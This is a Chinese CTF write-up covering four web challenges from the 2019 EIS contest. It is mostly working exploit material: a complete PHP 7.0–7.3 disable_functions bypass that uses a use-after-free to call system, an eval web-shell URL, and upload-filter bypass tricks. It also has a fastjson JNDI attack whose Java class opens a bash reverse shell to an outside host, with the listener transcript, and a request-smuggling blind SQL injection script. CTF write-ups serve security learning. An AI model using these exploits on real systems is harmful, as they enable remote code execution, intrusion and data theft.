2019EIS运维管理 部分web write up

一.easybypass

题目直接给了源码，让我们执行eval，我们先写个shell，连上去康康。

http://111.186.57.61:10101/?src=&cmd=eval($_POST[‘1’]);

蚁剑连上去，发现有限制，我们要绕过disable_functions，phpinfo()看一下禁用了哪些。
禁掉的还是蛮多的，网上搜了一下，发现可以用gc绕过，直接贴脚本吧。
直接在tmp目录下传入下面代码

<?php
# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
# released as of 04/10/2019, specifically:
# 
# PHP 7.0 - 7.0.33
# PHP 7.1 - 7.1.31
# PHP 7.2 - 7.2.23
# PHP 7.3 - 7.3.10
#
# Author: https://github.com/mm0r1
pwn("/readflag");
function pwn($cmd) {
    global $abc, $helper;
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }
    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }
    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }
        if(!$data_addr || !$text_size || !$data_size)
            return false;
        return [$data_addr, $text_size, $data_size];
    }
    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
            return $data_addr + $i * 8;
        }
    }
    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }
    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
    class ryat {
        var $ryat;
        var $chtg;
        
        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }
    class Helper {
        public $a, $b, $c, $d;
    }
    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }
    $n_alloc = 10; # increase this value if you get segfaults
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);
    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();
    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];
    $helper = new Helper;
    $helper->b = function ($x) { };
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }
    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
    $closure_obj = str2ptr($abc, 0x20);
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
    ($helper->b)($cmd);
    exit();
}

然后include包含一下
http://111.186.57.61:10101/?src=&cmd=include “/tmp/xxx.php”;
得到flag

二.ezupload

F12查看原码得到swp文件，恢复一下，发现有一个逻辑漏洞。直接post username过去，不postpassword，就可以登陆。
登陆进去之后可以upload，尝试了一下，发现文件内容前面加GIF89a，后缀名改为php5或者phtml即可绕过上传。
得到shell后执行/readflag即可得到flag

三.ezjava

源码可以下载，下载下来是fastjson，直接RCE。

//evil.java
import java.lang.Runtime;
import java.lang.Process;

public class evil {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands={"/bin/bash","-c","bash -i >& /dev/tcp/ip/19999 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

root@VM-10-6-ubuntu:~# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip/#evil 1098
Listening on 0.0.0.0:1098
Send LDAP reference result for Exploit redirecting to http://ip/evil.class

root@VM-10-6-ubuntu:~# nc -lvp 19999
Listening on [0.0.0.0] (family 0, port 19999)
Connection from [111.186.57.123] port 19999 [tcp/*] accepted (family 2, sport 45102)
bash: cannot set terminal process group (7): Inappropriate ioctl for device
bash: no job control in this shell
tomcat@9818f3e6f0b3:/$ ls
ls
bin
boot
dev
etc
flag_12321
home
jdk
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
tomcat
usr
var
tomcat@9818f3e6f0b3:/$ cat fl
cat flag_12321
flag{jndi_injection_by_ldap_3232}
tomcat@9818f3e6f0b3:/$ ^C

easywaf

随便试了几次，发现有的直接403了，这时候就想到了http请求走私。
http请求走私请看这篇文章：https://paper.seebug.org/1048/
下面就是sql注入了，直接python脚本，注意这边要用socket，不能用requests这些，因为这些请求都带有UA。脚本如下

#!/usr/bin/env python
import socket

"""
a='''GET /?age=+1%20or%20if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),{},1))={},sleep(10),1) HTTP/1.1
Host: 111.186.57.43:10601
Connection: Keep-Alive
Content-Length: 6
Content-Length: 6

age=1
'''.replace('\n', '\r\n')
"""
"""
a='''GET /?age=+1%20or%20if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666c61675f786464),{},1))={},sleep(10),1) HTTP/1.1
Host: 111.186.57.43:10601
Connection: Keep-Alive
Content-Length: 6
Content-Length: 6

age=1
'''.replace('\n', '\r\n')
"""

a='''GET /?age=+1%20or%20if(ascii(substr((select/**/group_concat(flag_32122)/**/from/**/flag_xdd),{},1))={},sleep(10),1) HTTP/1.1
Host: 111.186.57.43:10601
Connection: Keep-Alive
Content-Length: 6
Content-Length: 6

age=1
'''.replace('\n', '\r\n')
table_name=""

for i in range(1,100):
    for j in range(32,128):
        try:
            s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            s.connect(('111.186.57.43',10601))
            s.settimeout(1)
            s.sendall(a.format(str(i),str(j)))
            buf=s.recv(1024)
        except:
            table_name+=chr(j)
            print table_name
            break